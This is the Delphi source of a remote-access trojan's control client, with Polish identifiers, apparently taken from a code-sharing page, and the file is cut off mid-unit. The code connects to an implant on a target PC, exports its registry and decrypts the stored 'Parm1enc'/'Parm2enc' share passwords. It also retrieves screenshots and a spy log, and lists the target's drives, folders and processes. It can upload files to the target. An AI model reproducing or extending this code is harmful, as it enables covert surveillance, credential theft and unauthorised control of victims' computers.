📄 clientunit.pas
字号:
unit ClientUnit;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ScktComp, StdCtrls, ExtCtrls, Menus, ComCtrls, FileCtrl,Registry,jpeg,
cipher;
type
pstos=^stos;
stos=record
sciezka:string[255];
nast:pstos;
end;
TForm1 = class(TForm)
PageControl1: TPageControl;
Polaczenie: TTabSheet;
Bevel1: TBevel;
Label3: TLabel;
Button3: TButton;
Button1: TButton;
TabSheet2: TTabSheet;
TabSheet3: TTabSheet;
Panel3: TPanel;
Label4: TLabel;
Edit3: TEdit;
Button5: TButton;
Memo1: TMemo;
Button6: TButton;
TabSheet1: TTabSheet;
TabSheet5: TTabSheet;
MainMenu1: TMainMenu;
Polaczenie1: TMenuItem;
Wybierzserver1: TMenuItem;
Polacz1: TMenuItem;
Rozlacz1: TMenuItem;
Panel1: TPanel;
Label1: TLabel;
Edit1: TEdit;
Label2: TLabel;
ClientSocket1: TClientSocket;
Button11: TButton;
Button12: TButton;
Button13: TButton;
Button15: TButton;
Button16: TButton;
Button17: TButton;
Button18: TButton;
Button19: TButton;
Button20: TButton;
Button21: TButton;
Button22: TButton;
Button23: TButton;
Button24: TButton;
Button25: TButton;
Button26: TButton;
Button27: TButton;
Button28: TButton;
Button29: TButton;
memo3: TMemo;
TabSheet6: TTabSheet;
TabSheet7: TTabSheet;
Edit2: TEdit;
Button30: TButton;
TabSheet8: TTabSheet;
Edit4: TEdit;
Button31: TButton;
Edit5: TEdit;
Label5: TLabel;
Label6: TLabel;
DriveComboBox1: TDriveComboBox;
DirectoryListBox1: TDirectoryListBox;
FileListBox1: TFileListBox;
Edit6: TEdit;
Button33: TButton;
Button34: TButton;
TabSheet10: TTabSheet;
Button37: TButton;
GroupBox1: TGroupBox;
RadioButton1: TRadioButton;
RadioButton2: TRadioButton;
TabSheet11: TTabSheet;
Button42: TButton;
Plikcli: TClientSocket;
ComboBox1: TComboBox;
ListBox1: TListBox;
ListBox2: TListBox;
Button44: TButton;
Button45: TButton;
Label12: TLabel;
Label13: TLabel;
Panel2: TPanel;
Button9: TButton;
Button10: TButton;
GroupBox2: TGroupBox;
GroupBox3: TGroupBox;
GroupBox4: TGroupBox;
GroupBox5: TGroupBox;
GroupBox6: TGroupBox;
GroupBox7: TGroupBox;
GroupBox8: TGroupBox;
GroupBox9: TGroupBox;
Button14: TButton;
GroupBox10: TGroupBox;
Button32: TButton;
Button39: TButton;
Button40: TButton;
Button41: TButton;
Button46: TButton;
CheckBox2: TCheckBox;
Button47: TButton;
Button48: TButton;
Button50: TButton;
ScrollBox1: TScrollBox;
Image1: TImage;
Button51: TButton;
CheckBox1: TCheckBox;
Timer1: TTimer;
RadioGroup1: TRadioGroup;
RadioButton3: TRadioButton;
RadioButton4: TRadioButton;
RadioButton5: TRadioButton;
RadioButton6: TRadioButton;
Button52: TButton;
Button2: TButton;
Memo5: TMemo;
Button53: TButton;
TabSheet13: TTabSheet;
Memo6: TMemo;
Button54: TButton;
Button55: TButton;
Edit10: TEdit;
Label15: TLabel;
Button38: TButton;
Button7: TButton;
GroupBox11: TGroupBox;
Button8: TButton;
Button43: TButton;
Button36: TButton;
Button49: TButton;
Button56: TButton;
Label7: TLabel;
procedure Button1Click(Sender: TObject);
procedure ClientSocket1Connect(Sender: TObject;
Socket: TCustomWinSocket);
procedure ClientSocket1Read(Sender: TObject; Socket: TCustomWinSocket);
procedure Button3Click(Sender: TObject);
procedure ClientSocket1Error(Sender: TObject; Socket: TCustomWinSocket;
ErrorEvent: TErrorEvent; var ErrorCode: Integer);
procedure FormDestroy(Sender: TObject);
procedure ClientSocket1Disconnect(Sender: TObject;
Socket: TCustomWinSocket);
procedure FormShow(Sender: TObject);
procedure Button5Click(Sender: TObject);
procedure Button6Click(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure FormResize(Sender: TObject);
procedure Button7Click(Sender: TObject);
procedure Button29Click(Sender: TObject);
procedure Button30Click(Sender: TObject);
procedure Button31Click(Sender: TObject);
procedure DriveComboBox1Change(Sender: TObject);
procedure DirectoryListBox1Change(Sender: TObject);
procedure Button32Click(Sender: TObject);
procedure Button9Click(Sender: TObject);
procedure Button10Click(Sender: TObject);
procedure Button11Click(Sender: TObject);
procedure Button12Click(Sender: TObject);
procedure Button13Click(Sender: TObject);
procedure Button14Click(Sender: TObject);
procedure Button15Click(Sender: TObject);
procedure Button16Click(Sender: TObject);
procedure Button17Click(Sender: TObject);
procedure Button18Click(Sender: TObject);
procedure Button19Click(Sender: TObject);
procedure Button20Click(Sender: TObject);
procedure Button21Click(Sender: TObject);
procedure Button22Click(Sender: TObject);
procedure Button23Click(Sender: TObject);
procedure Button24Click(Sender: TObject);
procedure Button25Click(Sender: TObject);
procedure Button26Click(Sender: TObject);
procedure Button27Click(Sender: TObject);
procedure Button28Click(Sender: TObject);
procedure Button33Click(Sender: TObject);
procedure Button34Click(Sender: TObject);
procedure Button35Click(Sender: TObject);
procedure Button36Click(Sender: TObject);
procedure skancliError(Sender: TObject; Socket: TCustomWinSocket;
ErrorEvent: TErrorEvent; var ErrorCode: Integer);
procedure Button37Click(Sender: TObject);
procedure Button38Click(Sender: TObject);
procedure Button39Click(Sender: TObject);
procedure Button40Click(Sender: TObject);
procedure Button43Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure PlikcliRead(Sender: TObject; Socket: TCustomWinSocket);
procedure Button44Click(Sender: TObject);
procedure Button41Click(Sender: TObject);
procedure Button46Click(Sender: TObject);
procedure Button48Click(Sender: TObject);
procedure Button45Click(Sender: TObject);
procedure Button49Click(Sender: TObject);
procedure Button50Click(Sender: TObject);
procedure Button42Click(Sender: TObject);
procedure Button51Click(Sender: TObject);
procedure CheckBox1Click(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
procedure Button52Click(Sender: TObject);
procedure Button47Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure Button53Click(Sender: TObject);
procedure Button55Click(Sender: TObject);
procedure Button54Click(Sender: TObject);
procedure Button56Click(Sender: TObject);
procedure ComboBox1Click(Sender: TObject);
procedure Button8Click(Sender: TObject);
procedure PlikcliError(Sender: TObject; Socket: TCustomWinSocket;
ErrorEvent: TErrorEvent; var ErrorCode: Integer);
private
{ Private declarations }
public
curdisk:string;
curdir:pstos;
tempdir:string;
t:array[0..MAX_PATH]of char;
glob:integer;
nazwapliku:string;
plikprzych:file;
sysdir:array[0..MAX_Path] of char;
udost:string;
procedure freeze;
procedure unfreeze;
end;
var
Form1: TForm1;
implementation
uses Unit1, Unit3, Unit4, Unit5;
{$R *.DFM}
procedure TForm1.Freeze;
begin
button6.Enabled:=false;
button38.Enabled:=false;
button42.Enabled:=false;
button44.Enabled:=false;
button45.Enabled:=false;
button50.Enabled:=false;
button54.Enabled:=false;
button56.Enabled:=false;
end;
function DirNotation(sc:string):string;
begin
if sc[length(sc)]<>'\' then result:=sc+'\'
else result:=sc;
end;
procedure TForm1.Unfreeze;
begin
button6.Enabled:=true;
button38.Enabled:=true;
button42.Enabled:=true;
button44.Enabled:=true;
button45.Enabled:=true;
button50.Enabled:=true;
button54.Enabled:=true;
button56.Enabled:=true;
end;
procedure przeslijplik(nazwapliku:string);
var plik:file;
buf:array[1..128] of char;
rozm,fakt,proc:integer;
begin
assignfile(plik,nazwapliku);
reset(plik,1);
rozm:=filesize(plik);
blockread(plik,buf,sizeof(buf),fakt);
form1.plikcli.Socket.SendBuf(buf,fakt);
inc(form1.glob,fakt);
proc:=(form1.glob * 100) div rozm;
form1.Label12.Caption:=inttostr(proc);
while(fakt<>0)do
begin
blockread(plik,buf,sizeof(buf),fakt);
form1.plikcli.Socket.SendBuf(buf,fakt);
inc(form1.glob,fakt);
proc:=(form1.glob * 100) div rozm;
form1.Label12.Caption:=inttostr(proc);
application.ProcessMessages;
sleep(100);
end;
closefile(plik);
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
ClientSocket1.Active := False;
plikcli.active:=false;
clientsocket1.Address:=edit6.text;
plikcli.Address:=edit6.text;
plikcli.open;
clientsocket1.active:=true;
end;
procedure TForm1.ClientSocket1Connect(Sender: TObject;
Socket: TCustomWinSocket);
begin
memo3.Clear;
Form1.Caption := 'Klient po彻czony z ' + Socket.RemoteAddress+' : '+IntToStr(ClientSocket1.Socket.LocalPort);
Label3.Caption := 'Przydzielony port : ' + IntToStr(ClientSocket1.Socket.LocalPort);
clientsocket1.Socket.SendText('125');
end;
procedure TForm1.ClientSocket1Read(Sender: TObject;
Socket: TCustomWinSocket);
var pom,wiadomosc,szyfr,haslo,p,naped,msg1,co,naped1:string;
kod,i,j:integer;
jp:TJpegimage;
tek:textfile;
begin
wiadomosc:=Socket.ReceiveText;
for i:=1 to 3 do pom:=pom+wiadomosc[i];
kod:=strtoint(pom);
case kod of
123 : begin
closefile(plikprzych);
memo1.Lines.Clear;
assignfile(tek,string(sysdir)+'\eksport.reg');
reset(tek);
readln(tek,co);
pom:=copy(co,1,15);
memo1.Lines.add(co);
while not eof(tek) do
begin
readln(tek,co);
pom:=copy(co,1,15);
if (pom = '"Parm1enc"=hex:')or(pom='"Parm2enc"=hex:') then
begin
szyfr:=copy(co,16,length(co)-15);
for i:=1 to length(szyfr) do
begin
if szyfr[i]=',' then
begin
p:=copy(szyfr,1,i-1);
szyfr:=p+copy(szyfr,i+1,length(szyfr)-i);
end;
end;
haslo:=cipher.Haslo(ansiuppercase(szyfr));
co:=pom+' '+haslo;
end;
memo1.Lines.Add(co);
end;
closefile(tek);
unfreeze;
end;
125 : begin
for i:=4 to length(wiadomosc) do
begin
if wiadomosc[i]<>' ' then naped:=naped+wiadomosc[i]
else
begin
if naped='' then continue;
memo3.lines.add(naped);
for j:=1 to 2 do naped1:=naped1+naped[j];
combobox1.Items.Add(naped1);
naped1:='';
naped:='';
end;
end;
edit1.text:='Informacja o napedach';
end;
400 : begin
closefile(plikprzych);
unfreeze;
jp:=TJpegimage.create;
jp.LoadFromFile(string(sysdir)+'\ekran.jpg');
image1.Picture.Bitmap.Height:=jp.Height;
image1.Picture.Bitmap.Width:=jp.Width;
image1.Picture.Bitmap.Canvas.Draw(0,0,jp);
jp.free;
end;
404 : begin
closefile(plikprzych);
unfreeze;
assignfile(tek,string(sysdir)+'\szpieg.txt');
reset(tek);
while not eof(tek) do
begin
readln(tek,co);
memo5.Lines.Add(co);
end;
closefile(tek);
end;
600 : begin
PrzeslijPlik(nazwapliku);
clientsocket1.Socket.SendText('601');
unfreeze;
label12.Caption:='';
end;
700 : begin
closefile(plikprzych);
unfreeze;
assignfile(tek,string(sysdir)+'\dir.dir');
reset(tek);
listbox1.Clear;
listbox2.Clear;
while not eof(tek) do
begin
readln(tek,co);
if co='' then continue else
if co[1]<>'-' then listbox1.Items.Add(co)
else
begin
listbox2.items.Add(copy(co,2,length(co)-1));
end;
end;
closefile(tek);
end;
800 : begin
closefile(plikprzych);
unfreeze;
assignfile(tek,string(sysdir)+'\ps1.ps');
reset(tek);
while not eof(tek) do
begin
readln(tek,co);
memo6.Lines.Add(co);
end;
closefile(tek);
end;
900 : begin
closefile(plikprzych);
unfreeze;
edit1.Text:='Plik przeslany';
end;
else
begin
for i:=4 to length(wiadomosc) do msg1:=msg1+wiadomosc[i];
edit1.text:=msg1;
end
end;
end;
procedure TForm1.Button3Click(Sender: TObject);
begin
ClientSocket1.Active := False;
plikcli.Active:=false;
end;
procedure TForm1.ClientSocket1Error(Sender: TObject;
Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
var ErrorCode: Integer);
begin
MessageDlg('Serwer nie dostepny', mtError, [mbOk], 0);
ErrorCode := 0;
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
ClientSocket1.Active := False;
end;
procedure TForm1.ClientSocket1Disconnect(Sender: TObject;
Socket: TCustomWinSocket);
begin
Form1.Caption := 'Klient nie po彻czony';
Label3.Caption := 'Przydzielony port : ';
end;
procedure TForm1.FormShow(Sender: TObject);
begin
//okbottomdlg.showmodal;
end;
procedure TForm1.Button5Click(Sender: TObject);
begin
if radiobutton1.checked then form1.clientsocket1.Socket.SendText('303'+edit3.text)
else form1.clientsocket1.Socket.SendText('304'+edit3.text);
end;
procedure TForm1.Button6Click(Sender: TObject);
begin
assignfile(plikprzych,string(sysdir)+'\eksport.reg');
rewrite(plikprzych,1);
memo1.Lines.Clear;
freeze;
clientsocket1.Socket.SendText('123');
end;
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
//var r:TRegistry;
begin
action:=cafree;
clientsocket1.close;
plikcli.Close;
//r:=TRegistry.Create;
// r.RootKey:= HKEY_LOCAL_MACHINE;
//r.OpenKey('software\microsoft\windows\currentversion\network',true);
//r.WriteString('RemoteAddress',clientsocket1.address);
// r.Free;
end;
procedure TForm1.FormResize(Sender: TObject);
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -